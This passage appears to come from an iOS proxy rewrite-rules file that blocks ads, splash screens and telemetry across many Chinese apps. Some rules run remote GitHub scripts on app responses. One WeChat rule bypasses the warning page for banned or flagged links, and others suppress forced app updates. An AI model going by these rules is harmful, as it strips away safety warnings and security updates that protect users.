+#^https?:\/\/r\.inews\.qq\.com\/getSplash\?apptype=ios&startarticleid=&__qnr= url reject-img +^https?:\/\/r\.inews\.qq\.com\/(adsBlacklist|getFullScreenPic|getQQNewsRemoteConfig) url reject +^https?:\/\/r\.inews\.qq\.com\/(getBannerAds|getNewsRemoteConfig|getSplash|searchHotCatList|upLoadLoc) url reject +^https?:\/\/(news\.ssp\.qq\.com\/app|r\.inews\.qq\.com\/(get(QQNewsUnreadList|TagFeedList)|gw\/page\/event_detail|news_feed\/hot_module_list)) url script-response-body https://raw.githubusercontent.com/app2smile/rules/master/js/qq-news.js + +# > 腾讯体育 +# hostname = news.ssp.qq.com, sports3.gtimg.com +^https?:\/\/news\.ssp\.qq\.com\/app url reject +^https?:\/\/sports3\.gtimg\.com\/community\/20cf93884470434eaf38b2e77ab7796a\.png url reject + +# > 腾讯广告 +# hostname = btrace.qq.com, api2.helper.qq.com, *.beacon.qq.com, mi.gdt.qq.com, lives.l.qq.com, imgcache.qq.com, mtteve.beacon.qq.com, vv.video.qq.com, qt.qq.com, 3gimg.qq.com, y.gtimg.cn, splashqqlive.gtimg.com, qzonestyle.gtimg.cn, discuz.gtimg.cn, bla.gtimg.com, mmgr.gtimg.com, bk.bingo.qq.com +^https?:\/\/btrace\.qq\.com url reject-200 +^https?:\/\/api2\.helper\.qq\.com\/game\/buttons url reject-img +^https?:\/\/\w+\.beacon\.qq\.com url reject +^https?:\/\/mi\.gdt\.qq\.com\/gdt_mview\.fcg url reject +^https?:\/\/lives\.l\.qq\.com\/livemsg\?sdtfrom= url reject-img +^https?:\/\/imgcache\.qq\.com\/qqlive\/ url reject-img +^https?:\/\/mtteve\.beacon\.qq\.com\/analytics url reject-img +^https?:\/\/vv\.video\.qq\.com\/getvmind\? url reject-200 +^https?:\/\/qt\.qq\.com\/lua\/mengyou\/get_splash_screen_info url reject-200 +^https?:\/\/3gimg\.qq\.com\/tencentMapTouch\/app\/activity\/ url reject-200 +^https?:\/\/3gimg\.qq\.com\/tencentMapTouch\/splash\/ url reject-200 +^https?:\/\/y\.gtimg\.cn\/music\/.*?_Ad/\d+\.png url reject-img +^https?:\/\/splashqqlive\.gtimg\.com\/website\/\d{6} url reject-img +^https?:\/\/qzonestyle\.gtimg\.cn\/qzone\/biz\/gdt\/mob\/sdk\/ios\/v2\/ url reject-img +^https?:\/\/discuz\.gtimg\.cn\/cloud\/scripts\/discuz_tips\.js url reject-img +^https?:\/\/bla\.gtimg\.com\/qqlive\/\d{6}.+?\.png url reject-img +^https?:\/\/mmgr\.gtimg\.com\/gjsmall\/qiantu\/upload\/ url reject-img +^https?:\/\/mmgr\.gtimg\.com\/gjsmall\/qqpim\/public\/ios\/splash\/.+?\/\d{4}_\d{4} url reject-img +^https?://bk\.bingo\.qq\.com/bk/crx/data/videoAd.*$ url reject-dict + +# > 推栏 +# hostname = m.pvp.xoyo.com +# 去开屏广告 需要重装 +^https?:\/\/m\.pvp\.xoyo\.com\/conf\/server-mapping url reject-dict + + + +# >>>>>>>>>>>>>>> ✅ U ✅ <<<<<<<<<<<<<< +# > U净 +# hostname = api-marketing.zhinengxiyifang.cn, adsoss.zhinengxiyifang.cn, ads.zhinengxiyifang.cn +^https?:\/\/api-marketing\.zhinengxiyifang\.cn\/api\/v2\/cloudcode\/wechat\/bid url reject +^https?:\/\/adsoss\.zhinengxiyifang\.cn\/ads url reject +^https?:\/\/ads\.zhinengxiyifang\.cn\/api\/v1\.1\/ads\/* url reject-200 + +# > udn news +# hostname = pubads.g.doubleclick.net, pagead2.googleadservices.com +^https?://pubads.g.doubleclick.net/gampad/ads url reject +^https?://pagead2.googleadservices.com/pagead/adview url reject + + + +# >>>>>>>>>>>>>>> ✅ V ✅ <<<<<<<<<<<<<< +# > vgTime +# hostname = app02.vgtime.com +# App去开屏广告(需全新应用). 若要去新闻列表广告需要搭配广告联盟模块 +^https?:\/\/app02\.vgtime\.com:8080\/vgtime-app\/api\/v2\/init\/ad\.json url script-response-body https://raw.githubusercontent.com/app2smile/rules/master/js/vgtime.js + +# > Vista看天下 +# hostname = open3.vistastory.com +^https?:\/\/open3\.vistastory\.com\/v\d\/api\/inde/loading_ad url reject-200 + + + + +# >>>>>>>>>>>>>>> ✅ W ✅ <<<<<<<<<<<<<< +# > Weico(微博客户端) +# hostname = overseas.weico.cc +^https?:\/\/overseas\.weico\.cc\/portal\.php\?a=get_coopen_ads url reject-200 + +# > WPS +# hostname = ios.wps.cn, mobile-pic.cache.iciba.com +^https?:\/\/ios\.wps\.cn\/ad-statistics-service url reject +^https?:\/\/mobile-pic\.cache\.iciba\.com\/feeds_ad\/ url reject-200 + +# > WIFI万能钥匙 +# hostname = cds.wifi188.com +# 首页弹窗广告 +^https?:\/\/cds\.wifi188\.com\/feeds\.sec url reject-dict + +# > 完美世界电竞 +# hostname = api.wmpvp.com +# 开屏广告 +^https?:\/\/api\.wmpvp\.com\/api\/v\d\/config\/promote url reject + +# > 万词王 +# hostname = wanciwangdata.oss-cn-beijing.aliyuncs.com, recite.perfectlingo.com +# 感谢【sliverkiss】分享 +# 移除开屏 +^https?:\/\/wanciwangdata\.oss-cn-beijing\.aliyuncs\.com\/startup\/resource\/content.+ url reject +# 移除banner广告 +^https?:\/\/recite\.perfectlingo\.com\/api\/recite\/app-act\/act-list.+ url reject-dict +# 移除底部广告 +^https?:\/\/recite\.perfectlingo\.com\/api\/recite\/content-recommend\/v\d\/get-by-uid.+ url reject-dict +# 移除悬浮广告 +^https?:\/\/recite\.perfectlingo\.com\/api\/recite\/floating-window\/v\d\/get-show.+ url reject-dict + +# > 万达电影小程序 +# hostname = misc-api-prd-mx.wandafilm.com +# 弹窗广告 +^https?:\/\/misc-api-prd-mx\.wandafilm\.com\/commend\/common_banner_batch\.api\?bannerInfos=%5B%7B%22cinemaI url response-body "WX_index_mp-&-boxAD" response-body "WX_index_mp-&-boxAD0" + +# > 微信 +# hostname = mp.weixin.qq.com, weixin110.qq.com, security.wechat.com +# 公众号文章下方广告 +^https?:\/\/mp\.weixin\.qq\.com\/mp\/getappmsgad url response-body advertisement response-body fmz200 +# 微信跳过中间界面,支付宝链接、被封禁链接进行通知弹窗跳转,在微信中用快照显示被封禁的链接(可选),在微信中进行强制重定向(可选),群聊 / 扫码均可使用,可选项可在脚本 2、3 行更改,也可在 BoxJs 中更改。 +^https\:\/\/(weixin110\.qq|security.wechat)\.com\/cgi-bin\/mmspamsupport-bin\/newredirectconfirmcgi\? url script-response-body https://raw.githubusercontent.com/zZPiglet/Task/master/asset/UnblockURLinWeChat.js +# 微信公众号去除商品推广 +^https?:\/\/mp\.weixin\.qq\.com\/mp\/cps_product_info\?action url reject-dict + +# > 网易新闻 +# hostname = c.m.163.com +^https?:\/\/c\.m\.163\.com\/nc\/gl\/ url reject-200 + +# > 网易有钱 +# hostname = client.mail.163.com +^https?:\/\/client\.mail\.163\.com\/apptrack\/confinfo\/searchMultiAds url reject-200 + +# > 网易严选 +# hostname = support.you.163.com, m.you.163.com, yanxuan.nosdn.127.net +^https?:\/\/support\.you\.163\.com\/xhr\/boot\/getBootMedia\.json url reject-200 +https://support.you.163.com/appversync/check.do url reject +^https?:\/\/m\.you\.163\.com\/activity\/popWindow url reject +^https?:\/\/yanxuan\.nosdn\.127\.net\/.*\.mp4 url reject + +# > 网易蜗牛读书 +# hostname = easyreadfs.nosdn.127.net, p.du.163.com +^https?:\/\/easyreadfs\.nosdn\.127\.net\/ad-material\/ url reject-200 +^https?:\/\/p\.du\.163\.com\/ad\/ url reject-200 + +# > 网易考拉 +# hostname = kaola-haitao.oss.kaolacdn.com, sp.kaola.com, gw.kaola.com +^https?:\/\/kaola-haitao\.oss\.kaolacdn.com\/.+?_\d{3,4}_\d{4}\.jpg\?x-oss-process=image\/resize,m_mfit,w_\d{3,4},h_\d{4}\/format,webp\/quality,Q_85 url reject-200 +^https?:\/\/sp\.kaola\.com\/api\/openad url reject-200 +^https?:\/\/gw\.kaola\.com\/gw\/dgmobile\/newOpenAd url reject + +# > 网易云音乐 +# hostname = interface.music.163.com, interface?.music.163.com, ipv4.music.163.com +https?:\/\/(ipv4|interface\d?)\.music\.163.com\/e?api\/ad url reject-dict +https?:\/\/interface\d?\.music\.163\.com\/w?e?api\/(side-bar\/mini-program\/music-service\/account|delivery\/(batch-deliver|deliver)|moment\/tab\/info\/get|yunbei\/account\/entrance\/get) url reject-dict +https?:\/\/interface\d?\.music\.163\.com\/eapi\/(resource\/comments?\/musiciansaid|community\/friends\/fans-group\/artist\/group\/get|user\/sub\/artist|music\/songshare\/text\/recommend\/get|mine\/applet\/redpoint|resniche\/position\/play\/new\/get) url reject-dict +https?:\/\/interface\d?\.music\.163.com\/w?e?api\/(search\/(chart|default|rcmd\/keyword|specialkeyword)|resource-exposure\/|activity\/bonus\/playpage\/time\/query) url reject-dict +https?:\/\/interface\d?\.music\.163.com\/eapi\/(mlivestream\/entrance\/playpage|link\/(position\/show\/strategy|scene\/show)|ios\/version|v\d\/content\/exposure\/comment\/banner) url reject-dict +https?:\/\/(ipv4|interface\d?)\.music\.163\.com\/e?api\/(batch|v\d\/resource\/comment\/floor\/get) url script-response-body https://raw.githubusercontent.com/Keywos/rule/main/script/wy/js/wyres.js +https?:\/\/(ipv4|interface\d?)\.music\.163\.com\/e?api\/link\/home\/framework\/tab url script-response-body https://raw.githubusercontent.com/Keywos/rule/main/script/wy/js/wyres.js +https?:\/\/(ipv4|interface\d?)\.music\.163\.com\/e?api\/(homepage\/block\/page|link\/page\/rcmd\/(resource\/show|block\/resource\/multi\/refresh)) url script-response-body https://raw.githubusercontent.com/Keywos/rule/main/script/wy/js/wyres.js +https?:\/\/(ipv4|interface\d?)\.music\.163\.com\/e?api\/link\/page\/discovery\/resource\/show url script-response-body https://raw.githubusercontent.com/Keywos/rule/main/script/wy/js/wyres.js +https?:\/\/(ipv4|interface\d?)\.music\.163\.com\/e?api\/song\/play\/more\/list\/v\d url script-response-body https://raw.githubusercontent.com/Keywos/rule/main/script/wy/js/wyres.js +https?:\/\/(ipv4|interface\d?)\.music\.163\.com\/e?api\/link\/position\/show\/resource url script-response-body https://raw.githubusercontent.com/Keywos/rule/main/script/wy/js/wyres.js +https?:\/\/(ipv4|interface\d?)\.music\.163\.com\/e?api\/user\/follow\/users\/mixed\/get url script-response-body https://raw.githubusercontent.com/Keywos/rule/main/script/wy/js/wyres.js + +# > 网易邮箱 +# hostname = appconf.mail.163.com, client.mail.163.com, analytics.163.com +^https?:\/\/appconf\.mail\.163\.com\/mmad\/ url reject-200 +^https?:\/\/client\.mail\.163\.com\/apptrack\/confinfo\/(searchMultiAds|showAds) url reject + +# > 网易 +# hostname = *.music.126.net, img1.126.net, www.icourse163.org, nex.163.com, g1.163.com, client.mail.163.com, c.m.163.com, interface*.music.163.com +^https?:\/\/p[^4](c)?\.music\.126\.net\/\w+==\/10995\d{13}\.jpg$ url reject-img +^https?:\/\/p\.c\.music\.126.net\/.*?jpg$ url reject +^https?:\/\/img1.126.net\/.+dpi=\w{7,8} url reject +^https?:\/\/img1.126.net\/channel14\/ url reject +^https?:\/\/iadmusicmat\.music.126.net\/.*?jpg$ url reject +^https?:\/\/p\d\.music\.126\.net\/\w+==\/\d+\.jpg$ url reject +^https?:\/\/www.icourse163.org\/.*?(Advertisement) url reject-img +^https?:\/\/nex.163.com\/q url reject +^https?:\/\/g1.163.com\/madfeedback url reject +^https?:\/\/client\.mail\.163\.com\/apptrack\/confinfo\/searchMultiAds url reject +^https?:\/\/c\.m\.163\.com\/nc\/gl\/ url reject +^https?:\/\/www\.icourse163\.org\/mob\/j\/v1\/mobRecommendRPCBean\.getMaxWeightAdvertisement\.rpc url reject-200 +^https?:\/\/interface3?\.music\.163\.com/eapi/(ad|abtest|sp|hot|store|mlog|search/(specialkeyword|defaultkeyword|hot)) url reject-img + +# > 网易大神 +# hostname = god.gameyw.netease.com, ok.166.net +^https?:\/\/god\.gameyw\.netease\.com\/v\d\/ad url reject-dict +^https?:\/\/ok\.166\.net\/reunionpub\/202[2-9]{1}-[0-9]{2}-[0-9]{2}\/ntesgod_cms\/.*.jpg$ url reject-200 + +# > 网易有道词典 +# hostname = dict.youdao.com, api-overmind.youdao.com, cdke.youdao.com, dictvip-business.youdao.com, dsp-impr2.youdao.com, impservice.dictapp.youdao.com, oral.youdao.com, oimage*.ydstatic.com +# 首页净化,学习Tab界面净化,首页听读训练净化 +^https?:\/\/dict\.youdao\.com\/(homepage\/promotion|course\/tab\/home|homepage\/tile) url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/youdao/dict-youdao-ad.js +# 翻译广告 +^https?:\/\/dict\.youdao\.com\/course\/tab\/translateTab url reject-dict +# 听读训练 +#^https?:\/\/dict\.youdao\.com\/homepage\/tile url reject-dict +# 首次查词弹窗 +^https?:\/\/api-overmind\.youdao\.com\/openapi\/get\/luna\/dict\/dict-mobile\/prod\/dictCommonConfig url reject-dict +# 首页弹窗 +^https?:\/\/cdke\.youdao\.com\/course3\/recommend\/dict\/startup url reject-dict +# 搜索预想 +^https?:\/\/dict\.youdao\.com\/commonsearch url reject-dict +# 会员优惠券弹窗 +^https?:\/\/dict\.youdao\.com\/vip\/activity\/couponinfo url reject-dict +# 首页左上角福利中心 +^https?:\/\/dict\.youdao\.com\/dictusertask\/system url reject-dict +# 会员界面横幅广告 +^https?:\/\/dictvip-business\.youdao\.com\/home\/ad url reject-dict +# 其他 +^https?:\/\/oimage([a-z])([0-9])\.ydstatic\.com\/.+adpublish url reject +^https?:\/\/oimage\w\d\.ydstatic\.com\/image\?.+?=adpublish url reject-img +^https?:\/\/dsp-impr2\.youdao\.com\/adload url reject-200 +^https?:\/\/impservice\.dictapp\.youdao\.com\/imp\/request url reject-img +^https?:\/\/oral\.youdao\.com\/oral\/adInfo url reject-img + +# > 网上国网 +# hostname = osg-static.sgcc.com.cn, osg-service.sgcc.com.cn +^https?:\/\/(?>csc|osg)-service\.sgcc\.com\.cn:\d+\/emss-pfa-appset-front\/appForceUpdate url reject +^https?:\/\/(?>csc|osg)-service\.sgcc\.com\.cn:\d+\/emss-pfa-appset-front\/appSync\/getAppForceUpgrade url reject +^https?:\/\/(?>csc|osg)-service\.sgcc\.com\.cn:\d+\/emss-pfa-appset-front\/bootpageoutter\/ url reject-dict +^https?:\/\/(?>csc|osg)-service\.sgcc\.com\.cn:\d+\/.*\/app_api\/selectInfoByCondition url reject-dict +^https?:\/\/(?>csc|osg)-service\.sgcc\.com\.cn:\d+\/.*\/inner\/cache url reject + +# > 威锋 +# hostname = api.wfdata.club +^https?:\/\/api\.wfdata\.club\/v\d\/yesfeng\/(infoCenterAd|yesList) url reject + +# > 微店 +# hostname = thor.weidian.com +^https?:\/\/thor\.weidian\.com\/ares\/home\.splash url reject-200 + +# > 无他相机 +# hostname = api-release.wuta-cam.com, res-release.wuta-cam.com +^https?:\/\/api-release\.wuta-cam\.com\/ad_tree url reject-200 +^https?:\/\/res-release\.wuta-cam\.com\/json\/ads_component_cache\.json url reject + +# > 悟空遥控器 +# hostname = img.wukongtv.com +^https?:\/\/img\.wukongtv\.com\/wkremote\/AD\/iOS\/.*.(jpg|png|jpeg) url reject-200 + +# > 蜗牛睡眠 +# hostname = snailsleep.net +^https?:\/\/snailsleep\.net\/snail\/v\d\/adTask\/ url reject +^https?:\/\/snailsleep\.net\/snail\/v\d\/screen\/qn\/get\? url reject + +# > 本来生活 +# hostname = img0*.benlailife.com +^https?:\/\/img0[1-9]{1}\.benlailife\.com\/AppHomePageImage\/upload\/files\/.*.jpg url reject-200 + +# > 唯品会 +# hostname = b.appsimg.com, mapi.appvipshop.com +^https?:\/\/b\.appsimg\.com\/upload\/momin url reject +^https?:\/\/mapi\.appvipshop\.com\/vips-mobile\/rest\/activity\/advertisement\/get url reject-200 +^https?:\/\/mapi\.appvipshop\.com\/vips-mobile\/rest\/iosAdInfo\/report url reject +# APP+小程序弹窗广告 +^https?:\/\/mapi\.appvipshop\.com\/vips-mobile\/rest\/layout\/productList\/eventData\/v url reject-200 +# 右下角悬浮窗,需手动关闭广告一次 +^https?:\/\/mapi\.appvipshop\.com\/vips-mobile\/rest\/activity\/coupon\/float_entrance\/get\?api_key url reject-200 + +# > 稿定设计 +# hostname = qiye.gaoding.com +^https:\/\/qiye\.gaoding\.com\/api\/v3\/oc\/v2\/delivery-pits\/ios-splash\/ url reject-dict + +# > 温尼伯站 +# hostname = vue3-api.zhixiny.cn +^https:\/\/vue3-api\.zhixiny\.cn\/v1\/initui\?key=index url script-response-body https://raw.githubusercontent.com/Sliverkiss/QuantumultX/main/AdBlock/xmApp/wnbz.js + +# > 我爱卡社区管家 +# hostname = api.51credit.com +^https?:\/\/api\.51credit\.com\/app\/popup\/appPopup url reject-dict +^https?:\/\/api\.51credit\.com\/ks\/a\/list\? url reject-dict +^https?:\/\/api\.51credit\.com\/bbs\/app\/api\/v\d\/topic\/chat url reject-dict + + +# >>>>>>>>>>>>>>> ✅ X ✅ <<<<<<<<<<<<<< +# > 小米商城 +# hostname = api.m.mi.com +^https?:\/\/api\.m\.mi\.com\/v1\/app\/start url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/myBlockAds.js + +# > 小米有品 +# hostname = shopapi.io.mi.com +^https?:\/\/shopapi\.io\.mi\.com\/mtop\/mf\/resource\/homePage\/pageConfig url reject-200 + +# > 小米运动 +# hostname = api-mifit*.huami.com +^https?:\/\/api-mifit.+?\.huami\.com\/discovery\/mi\/discovery\/.+?_ad\? url reject-200 + +# > 小米打印 +# hostname = api-miprint.hannto.com, api.indeedpower.com +# 去开屏 感谢【别怕我又不乱来】分享 +^https?:\/\/api-miprint\.hannto\.com\/v1\/c\/res\/app\/ad\/\?app_version url reject-dict +# 主页上方广告 +^https?:\/\/api\.indeedpower\.com\/v1\/m\/edu\/module\/homepage_banner\/\?randomStr url reject-dict + +# > 小米金融 +# hostname = api.jr.mi.com +^https?:\/\/api\.jr\.mi\.com\/v\d\/adv\/ url reject-200 +^https?:\/\/api\.jr\.mi\.com\/jr\/api\/playScreen url reject-200 + +# > 小爱音箱 +# hostname = info.mina.xiaoaisound.com, marketing-aibox.v.mitvos.com +^https?:\/\/(info\.mina\.xiaoaisound|marketing-aibox\.v\.mitvos)\.com\/advertise(?!\/banner) url reject +^https?:\/\/(info\.mina\.xiaoaisound|marketing-aibox\.v\.mitvos)\.com\/payGuide\/userCenter url reject +^https?:\/\/(info\.mina\.xiaoaisound|marketing-aibox\.v\.mitvos)\.com\/popup url reject-dict + +# > 米家 +# hostname = home.mi.com +^https?:\/\/home\.mi\.com\/cgi-op\/api\/v1\/recommendation\/(banner|carousel\/banners|myTab|openingBanner) url reject-dict + +# > 米读 +# hostname = apiwz.midukanshu.com +^https?:\/\/apiwz\.midukanshu\.com\/advert\/getPopup$ url reject +^https?:\/\/apiwz\.midukanshu\.com\/advert\/treasureInfo$ url reject +^https?:\/\/apiwz\.midukanshu\.com\/config\/getAds$ url reject + +# > 米游社 +# hostname = upload-bbs.mihoyo.com +^https?:\/\/upload-bbs\.mihoyo\.com\/upload\/202[2-9]{1}\/[0-9]{2}\/[0-9]{2}\/[a-z0-9]{32}_[a-z0-9]{19}\.(jpg|png)$ url reject-200 + +# > 雪球 +# hostname = api.xueqiu.com, open.xueqiu.com, stock.xueqiu.com, 39.103.79.14, 39.106.97.84, 47.95.49.75, 101.201.62.20, 101.201.62.26, 101.201.175.228, 124.250.48.3, 182.92.145.50, 182.92.251.113 +# 感谢【可莉】分享 +^https:\/\/api\.xueqiu\.com\/snowpard\/launch_strategy\/query\.json\?channel=1&height=932 url reject-dict +^https:\/\/open\.xueqiu\.com\/mpaas\/config\/content\?.+home_visitor_relation_config url reject-dict +^https:\/\/api\.xueqiu\.com\/snowpard\/launch_strategy\/query\.json\?channel=1&location=0&model=6&page=4 url reject-dict +^https:\/\/api\.xueqiu\.com\/snowpard\/launch_strategy\/query\.json\?channel=1&location=0&model=1&page=(4|6) url reject-dict +^https:\/\/api\.xueqiu\.com\/ucprofile\/api\/user\/batchGetUserBasicInfo\.json url reject-dict +^https:\/\/api\.xueqiu\.com\/lightsnow\/launch\/plan\/bee\/query\.json\?channel=1&ip_label=&label_json=.+new_customer=1 url reject-dict +^https:\/\/api\.xueqiu\.com\/lightsnow\/optional\/banner\/query\.json url reject-dict +^https:\/\/open\.xueqiu\.com\/mpaas\/config\/content\?.+cube_detail_bottom_operation_trade_button url reject-dict +^https:\/\/api\.xueqiu\.com\/recommend-proxy\/card\/zj_card\.json\?feed_id=207 url reject-dict +^https:\/\/api\.xueqiu\.com\/recommend-proxy\/card\/portfolio_tab_symbol\.json url reject-dict +^https:\/\/stock\.xueqiu\.com\/v5\/stock\/group\/recommend\/default\/list\.json url reject-dict +^https:\/\/api\.xueqiu\.com\/livestream\/structure\/live\/hotCard\.json url reject-dict + +# > 下厨房 +# hostname = api.xiachufang.com +^https?:\/\/api\.xiachufang\.com\/v\d\/ad/ url reject + +# > 兴业银行 +# hostname = images.cib.com.cn +# 首页会有一小部分图片误杀 +^https?:\/\/images\.cib\.com\.cn\/commons\/uploads\/commons\/[a-zA-Z0-9]{32}\.jpg\?ver=20221[1-2]{1} url reject-200 +^https?:\/\/images\.cib\.com\.cn\/commons\/uploads\/commons\/[a-zA-Z0-9]{32}\.jpg\?ver=20230[1-9]{1} url reject-200 +# > 兴业生活 +# hostname = file.cibfintech.com +^https?:\/\/file\.cibfintech\.com\/file\/M0[1-9]{1}\/*\/*\/.*.zip url reject-img + +# > 星火英语 +# hostname = api*.sparke.cn +# 开屏广告 +^https?:\/\/api\d\.sparke\.cn\/admodel\/list\?adspace=spgg&flag=\d$ url reject + +# > 星途 starway +# hostname = app.chinahxzq.com.cn +# 开屏广告 感谢【打豆豆】分享 +^https?:\/\/app\.chinahxzq\.com\.cn:9302\/starway-api\/ad url reject-dict +^https?:\/\/app\.chinahxzq\.com\.cn\/starway\/adShow url reject-dict + +# > 星财富 +# hostname = operationapi.fosunhanig.com +# 开屏广告+弹窗广告+横幅广告 +^https?:\/\/operationapi\.fosunhanig\.com\/ad\/v\d\/(PopupAdList|ScreenAdList|BannerList) url reject-200 + +# > 迅雷 +# hostname = images.client.vip.xunlei.com, api-shoulei-ssl.xunlei.com +^https?:\/\/images\.client\.vip\.xunlei\.com\/.+?\/advert\/ url reject-200 +^https?:\/\/api-shoulei-ssl\.xunlei\.com\/flowhub\/v\d\/slots:batchGet url reject-200 + +# > 迅游加速器 +# hostname = portal-xunyou.qingcdn.com +^https?:\/\/portal-xunyou\.qingcdn\.com\/api\/v\d\/ios\/ads\/ url reject-200 +^https?:\/\/portal-xunyou\.qingcdn\.com\/api\/v\d\/ios\/configs\/(?>splash_ad|ad_urls) url reject-200 + +# > 小睡眠 +# hostname = api.psy-1.com +^https?:\/\/api\.psy-1\.com\/cosleep\/startup url reject + +# > 小特- 首选特斯拉中文社区 +# hostname = lcen.xiaote.net +^https?:\/\/lcen\.xiaote\.net\/api\/graphql url response-body screenSplashAd response-body random-response + +# > 小利生活 +# hostname = mpos-pic.helipay.com +^https?:\/\/mpos-pic\.helipay\.com\/upload\/images\/advertisment\/image url reject + +# > 小兔充充 +# hostname = ad.xiaotucc.com, mapi.xiaotucc.com +# 小程序净化 +^https?:\/\/ad\.xiaotucc\.com\/advert url reject +^https?:\/\/mapi\.xiaotucc\.com\/(mall\/main|main_page\/index\/getActivity) url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/xiaotucc.js + +# > 小电充电 微信小程序 +# hostname = smarket.dian.so, file.dian.so +^https?:\/\/smarket\.dian\.so url reject-dict +^https?:\/\/file\.dian\.so\/c\/leto url reject-dict + +# > 小合拓展 +# hostname = xhtz.oss-cn-guangzhou.aliyuncs.com +^https?:\/\/xhtz.oss-cn-guangzhou\.aliyuncs\.com\/home\/member\/.+\.png$ url reject-200 + +# > 小牛 +# hostname = app-api.niu.com +^https?:\/\/app-api\.niu\.com\/v\d\/advertisement\/ url reject + +# > 小桔科技 +# hostname = ct.xiaojukeji.com, res.xiaojukeji.com +^https?:\/\/ct\.xiaojukeji\.com\/agent\/v3\/feeds url reject +^https?:\/\/res\.xiaojukeji\.com\/resapi\/activity\/get(Ruled|Preload|PasMultiNotices) url reject +^https?:\/\/res\.xiaojukeji\.com\/resapi\/activity\/mget url reject + +# > 小艺 +# hostname = api.xiaoyi.com +^https?://api.xiaoyi.com\/v5\/app\/mobile\/ads url reject +^https?://api.xiaoyi.com\/v5\/app\/config\?userid=.* url reject + +# > 小Biu智家 +# hostname = shcss.suning.com +# 开屏广告 感谢【别人别我】分享 +^https?:\/\/shcss\.suning\.com\/shcss-web\/api\/appImage\/queryAppImage\.do url reject-200 + +# > 小熊艺术 +# hostname = www.xiaoxiongmeishu.com +^https:\/\/www\.xiaoxiongmeishu\.com\/api\/(home\/v1\/config\/appInit|s\/v1\/popup\/createCouponPopup) url reject + +# > 小熊拦截 +# hostname = spamblocker-api.zeekstudio.com +# 去除更新弹窗 +^https:\/\/spamblocker-api\.zeekstudio\.com\/profile url reject-dict +^https:\/\/spamblocker-api\.zeekstudio\.com\/checkVersion url reject-dict + +# > 小佩宠物 +# hostname = api.petkit.cn +^https?:\/\/api\.petkit\.cn\/6\/\/device\/relatedProductsInfo url reject-dict + +# > 小白学习打印机 开屏广告 +# hostname = api.xbxxhz.com +# 捕获试卷脚本:https://raw.githubusercontent.com/Yu9191/Script/main/shijuan.js +^https?:\/\/api\.xbxxhz\.com\/big_data\/v1\/home_pages url reject + +# > 小象超市 +# hostname = portal-portm.meituan.com, mall.meituan.com +# 广告下发 +^https?:\/\/portal-portm\.meituan\.com\/horn_ios\/mergeRequest url reject-dict +# 开屏广告 +^https?:\/\/mall\.meituan\.com\/api\/c\/homepage\/splash url reject-dict +# 首页领券悬浮红包 +^https?:\/\/mall\.meituan\.com\/api\/c\/homepage\/bubble\/operate\/info url reject-dict + +# > 小芒 +# hostname = mgesq.api.mgtv.com, *.hitv.com +# app去广告 感谢【sliverkiss】分享 +# 我的页面-猜你喜欢 +^https:\/\/mgesq\.api\.mgtv\.com\/v2\/goods\/guess_you_like url reject-dict +# 我的页面- +https://mgesq.api.mgtv.com/v2/user/center/icon url reject-dict +# 主页广告 +https://mgesq.api.mgtv.com/dsl/index.+ url script-response-body https://raw.githubusercontent.com/Sliverkiss/QuantumultX/main/AdBlock/xmApp/xmApp.js +# 搜索排行榜单 +^https:\/\/mgesq\.api\.mgtv\.com\/search\/goods\/rank url reject-dict +# 底部按钮、我的页面左上角 +^https:\/\/mgesq\.api\.mgtv\.com\/user\/center\/config url reject-dict + +# > 小蚕霸王餐 +# hostname = zlsdk.1rtb.net, web2.realtech-inc.com, sdk.1rtb.net, gw.xiaocantech.com +# 感谢【派大星,ZenMoFiShi,sliverkissm】分享 +# 去广告(这个域名其实已经在分流中拒绝) +^https?:\/\/zlsdk\.1rtb\.net\/sdk\/req_ad url reject-dict +# 红包推广 +^https:\/\/gw\.xiaocantech\.com\/rpc GetBannerList url-and-header reject-dict +# 首页横幅推广 +^https:\/\/web2\.realtech-inc\.com\/oss\/xc-app-assets\/configs\/common\/theme\.json url reject-dict +# 开屏广告 +^https:\/\/sdk\.1rtb\.net\/sdk\/req_ad\? url reject-dict +# 更新弹窗 +^https:\/\/gw\.xiaocantech\.com\/g\/pa url reject-dict + +# > 晓晓优选 +# hostname = xxyx-client-api.xiaoxiaoyouxuan.com, statistic.live.126.net +# 多余模块 +^https:\/\/xxyx-client-api\.xiaoxiaoyouxuan\.com\/vajra url reject-dict +# 弹窗广告 +^https?:\/\/xxyx-client-api\.xiaoxiaoyouxuan\.com\/agent_ad url reject +#^https?:\/\/xxyx-client-api\.xiaoxiaoyouxuan\.com\/newcomer_ad url reject-dict +# 右下角的悬浮广告 +^https?:\/\/xxyx-client-api\.xiaoxiaoyouxuan\.com\/activity\/show url reject +# 禁止上报设备信息 +^https?:\/\/statistic\.live\.126\.net\/statics\/report\/common\/form url reject + +# > 希尔顿 荣誉客会 +# hostname = wcprd.hilton.com.cn +^https?:\/\/wcprd\.hilton\.com\.cn\/app-middleware\/graphql\?type=splashAd url reject-200 + +# > 希沃白板5 +# hostname = cstore-en-public-tx.seewo.com +# 开屏广告 需要卸载重装 感谢【别怕我又不乱来】分享 +^https?:\/\/cstore-en-public-tx\.seewo\.com\/easinote5_public url reject-dict + +# > 西施眼 +# hostname = vapp.tmuyun.com +^https:\/\/vapp\.tmuyun\.com\/api\/app_start_page\/list\/new url reject-dict +^https:\/\/vapp\.tmuyun\.com\/api\/buoy\/list url reject-dict + +# > 西窗烛 +# hostname = lchttpapi.xczim.com +^https?:\/\/lchttpapi\.xczim\.com\/1\.1\/functions\/getLaunchImageForIOS url reject + +# > 稀饭动漫 +# hostname = pzoap.moedot.net +^https?:\/\/pzoap\.moedot\.net\/xgapp\.php\/v2\/top_notice url reject + +# > 向日葵 +# hostname = client-api-v2.oray.com +# ^https?:\/\/client-api-v2\.oray\.com\/materials url reject-200 +# 开屏广告 +^https?:\/\/client-api-v2\.oray\.com\/materials\/SLCC_IOS_STARTUP url reject-dict +# 首页文字广告 +^https?:\/\/client-api-v2\.oray\.com\/materials\/SLCC_IOS_DEVICE url reject-dict +# 发现页广告 +^https?:\/\/client-api-v2\.oray\.com\/materials\/SUNLOGIN_CLIENT_IOS_PROMOTION url reject-dict + +# > 心悦俱乐部 +# hostname = bgw.xinyue.qq.com +^https?:\/\/bgw\.xinyue\.qq\.com\/xyapi\.PageService\/GetIndexPopFlash url reject-200 + +# > 兴业证券 +# hostname = static.xyzq.cn +# 优理宝(3秒倒计时,任意位置点一下即可跳过) 